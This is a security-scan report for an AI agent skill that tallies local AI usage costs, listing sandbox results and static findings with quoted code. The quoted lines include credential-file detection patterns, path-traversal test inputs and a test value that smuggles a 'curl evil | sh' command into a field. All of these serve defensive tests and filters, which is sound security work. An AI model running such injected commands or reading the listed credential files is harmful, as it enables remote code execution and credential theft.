Skills/ClawHub/ai-usage-ledger-skill

ai-usage-ledger-skill@1.5.11

CAUTION· install only

Publisher claims: "Compile, price and attribute local AI agent usage" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry ClawHubPublisher completetech · publishing for 65 daysInstalls 495Last detonated 7d ago
What would fix thisWatchDispute verdict

Coverage

Nothing executable in the bundle ran; the trace covers the install step only.
Tested
every file read, file written and host contacted by what ran
Not tested
use of the skill by an agent

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (1 scenario; nothing executable in the bundle ran; the trace covers the install step only) on 2026-11-07 and scored it 79/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Access to sensitive file paths; Access to sensitive file paths; Access to sensitive file paths. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 1 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.0sprocessscript backend runs setup only
0.0sprocessscript backend runs setup only
0.0sprocessno install scripts to re-run

Static findings

HIGH
Access to sensitive file pathsSKILL.md:37 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files| Opt-in: credential files | `accounts.from_credentials` (default off). On, `auth.json`, `.claude.json` and `.credentials.json` are opened for account id prefixes and plan types only, after a warning Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsSKILL.md:143 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files| Files read | Agent transcripts, tool databases and credential files under the user's own profiles and hosts named in the manifest; prompt-only history files (Claude Code and Codex `history.jsonl`) oFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsscripts/detect_hosts.py:335 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filescred = os.path.join(home, ".claude", ".credentials.json")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsscripts/compile_ai_logs.py:33 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files_FALLBACK_CRED_PATTERNS = re.compile(r"(?:^|[^a-z])(?:token|secret|credential|password|passwd|apikey|api_key)(?:[^a-z]|$)|\.pem$|\.key$|\.p12$|\.pfx$|^\.env\.|^id_rsa|^id_ed25519", re.IGNORECASE)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsscripts/compile_ai_logs.py:1077 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesCredential-looking files (auth.json, *token*, *.pem, .env* ...) are never opened; returns how many were skipped."""Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedscripts/ledger.py:712 · Python subprocess execution detectedreturn subprocess.run([sys.executable, os.path.join(HERE, "ledger_query.py")] + args.rest).returncodeFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathsscripts/compile_ai_logs.py:32 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files_FALLBACK_CRED_BASENAMES = ("auth.json", ".credentials.json", "credentials.json", ".env", "id_rsa", "id_ed25519", "id_ecdsa", "id_dsa")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsscripts/detect_hosts.py:269 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files".claude/.credentials.json (Claude Code): subscriptionType only")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsscripts/ledger_archive.py:25 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files.credentials.json, credentials.json, *token*.json, *.pem, *.key, .env, anything under .ssh/.aws/.gnupg and theFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedscripts/ledger.py:955 · Python subprocess execution detectedsys.exit(subprocess.run([sys.executable, os.path.join(HERE, "render_ledger_doc.py")] + sys.argv[2:]).returncode)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathsscripts/ledger.py:755 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filescred_path_re = re.compile(r"[\\/][^\s\"'`<>]{0,200}?(auth\.json|\.credentials\.json|\.claude\.json)\b", re.IGNORECASE)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
File type combined with upload actionSKILL.md:63 · File type combined with upload action — agent may exfiltrate local data files| 2 | Onboarding auto-detects hosts and roots for this OS (`scripts/detect_hosts.py`: Windows, macOS, Linux, every WSL distro, other user profiles and drives, VS Code-family global storage, `CODEX_HOMFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
HIGH
Access to sensitive file pathsscripts/safety.py:278 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files_CRED_PATTERNS = re.compile(r"(?:^|[^a-z])(?:token|secret|credential|password|passwd|apikey|api_key)(?:[^a-z]|$)|\.pem$|\.key$|\.p12$|\.pfx$|^\.env\.|^id_rsa|^id_ed25519", re.IGNORECASE)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
File type combined with upload actionSKILL.md:66 · File type combined with upload action — agent may exfiltrate local data files| 5 | Deliver the dashboard, the study package and `all_events.csv` (or `ledger.py export`), with exclusions and low-confidence rules stated. For a statement, memo or brief, pick a template from `refeFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
Python subprocess execution detectedscripts/detect_hosts.py:176 · Python subprocess execution detectedout = subprocess.run(["wsl.exe", "-l", "-q"], capture_output=True, timeout=20).stdoutFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathstemplates/pricing.json:258 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"source": "~/.claude/.credentials.json rateLimitTier=default_claude_max_20x"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedscripts/ledger.py:131 · Python subprocess execution detectedr = subprocess.run(cmd, **kw)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathstemplates/manifest.example.json:3 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"_privacy": "What each host section collects: every *_roots entry is a directory tree of agent transcripts and session logs that the scanners read in full (timestamps, models, token counts, project paFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsscripts/safety.py:277 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files_CRED_BASENAMES = ("auth.json", ".credentials.json", "credentials.json", ".env", "id_rsa", "id_ed25519", "id_ecdsa", "id_dsa")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedscripts/ledger.py:708 · Python subprocess execution detectedreturn subprocess.run(cmd + args.rest).returncodeFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedscripts/ledger_archive.py:271 · Python subprocess execution detectedr = subprocess.run(["ssh", "-o", "BatchMode=yes", "--", target, self.REMOTE_STAT], input=("\0".join(wanted) + "\0").encode("utf-8"), capture_output=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
File type combined with upload actionSKILL.md:35 · File type combined with upload action — agent may exfiltrate local data files| What is retained and where | A durable, append-only ledger of per-call records (timestamps, models, token counts, prices, host, project path, session id, pseudonymous account) in `~/.ai-usage-ledgerFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
File type combined with upload actionscripts/build_report.py:591 · File type combined with upload action — agent may exfiltrate local data filesD.p("API-equivalent cost of a call = Σ tokens × list rate for that model, from `pricing.json`. `cost_if_uncached` re-prices the same call with every prompt token at the input rate; the difference is tFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
File type combined with upload actionSKILL.md:42 · File type combined with upload action — agent may exfiltrate local data files| Opt-in: SSH hosts | Only hosts the operator names at the prompt or in `config.json` `extra_hosts`. For each such host the skill uploads `compile_ai_logs.py` with `scp`, runs it there over `ssh`, andFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
Python subprocess execution detectedscripts/run_pipeline.py:58 · Python subprocess execution detectedr = subprocess.run(cmd, **kw)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
File permission modification commandscripts/safety.py:163 · File permission modification command — agent changes file ownership/permissionsraise UnsafeValue("%s %s is group- or world-writable; fix it with chmod 600 (or set %s=1 to override)" % (what, path, ALLOW_SHARED_ENV))Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Python subprocess execution detectedscripts/schedule.py:109 · Python subprocess execution detectedr = subprocess.run(cmd, capture_output=True, text=True, input=input_text)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedscripts/ledger_archive.py:283 · Python subprocess execution detectedproc = subprocess.Popen(["ssh", "-o", "BatchMode=yes", "--", target, self.REMOTE_TAR], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedscripts/schedule.py:118 · Python subprocess execution detectedr = subprocess.run(["crontab", "-l"], capture_output=True, text=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Access to sensitive file pathstests/test_security.py:412 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesfor p in ("/a/../../etc/passwd", "../x", "C:/Users/x/../../../Windows/evil"):Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
File type combined with upload actiontemplates/manifest.example.json:3 · File type combined with upload action — agent may exfiltrate local data files"_privacy": "What each host section collects: every *_roots entry is a directory tree of agent transcripts and session logs that the scanners read in full (timestamps, models, token counts, project paFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
Python subprocess execution detectedtests/test_store.py:70 · Python subprocess execution detectedr = subprocess.run(cmd, cwd=ROOT, env=env, capture_output=True, text=True, encoding="utf-8", errors="replace")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Access to sensitive file pathstests/test_security.py:448 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesres = arch.archive_ssh("h", {"ssh": "user@host"}, ["/srv/a\nb.jsonl", "relative.jsonl", "/srv/../etc/passwd"])Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedtests/make_fixtures.py:101 · Python subprocess execution detectedsubprocess.run(cmd, check=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedscripts/schedule.py:231 · Python subprocess execution detectedr = subprocess.run(["schtasks", "/Query", "/TN", TASK_NAME], capture_output=True, text=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Access to sensitive file pathstests/test_security.py:518 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filescred_yes = ["/home/u/.codex/auth.json", "C:\\Users\\u\\.claude\\.credentials.json", "/srv/app/credentials.json", "/x/token.json", "/x/api_key.txt",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Pipe-to-shell patterntests/test_security.py:73 · Pipe-to-shell pattern — downloads and immediately executes remote code{"name": "s", "kind": "ssh", "ssh": "user@host", "python": "python3; curl evil | sh"},Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Remote installer piped to shelltests/test_security.py:73 · Remote installer piped to shell{"name": "s", "kind": "ssh", "ssh": "user@host", "python": "python3; curl evil | sh"},Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
LOW
Fake instruction boundary tagreferences/log-formats.md:57 · Fake instruction boundary tag · informational: not an instruction file · informational: not an instruction file · informational: not an instruction file- Markdown; `# aider chat started at <local time>` opens a session, `#### <prompt>` lines are user turns, `> Model: <name> ...` names the model, and `> Tokens: 2.8k sent, 27 received. Cost: $0.0029 meFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
MEDIUM
Python subprocess execution detectedtests/test_security.py:46 · Python subprocess execution detectedreturn subprocess.run(cmd, cwd=ROOT, capture_output=True, text=True, encoding="utf-8", errors="replace", **kw)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedscripts/ledger.py:885 · Python subprocess execution detectedr = subprocess.run(cmd)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Access to sensitive file pathstests/test_security.py:519 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"/x/server.pem", "/x/private.key", "/home/u/.env", "/home/u/.env.local", "/home/u/.ssh/config", "/home/u/.aws/credentials", "/x/my-secret-notes.md", "/x/id_rsa.pub"]Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedscripts/schedule.py:317 · Python subprocess execution detectedr = subprocess.run(["schtasks", "/Query", "/TN", TASK_NAME, "/FO", "LIST", "/V"], capture_output=True, text=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05

Cost to the agent

Instructions loaded
≈9,826 tok
1 file · 46 in bundle

Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.

Known vulnerabilities

Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.

What would make this Verified

1 point to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Unclaimed publisher≈ +8 on the totalClaim completetech: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  2. Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  3. Python subprocess execution detected≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  4. File type combined with upload action≈ +2 on the totalRemove the call, or declare the host in frontmatter and explain in the README what is sent and why.
  5. File permission modification command≈ +2 on the totalRequest the narrowest permission that works; replace wildcards with the exact paths or hosts.
  6. Pipe-to-shell pattern≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
Publish a new version to ClawHub, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim completetechPropose a patch to the maintainer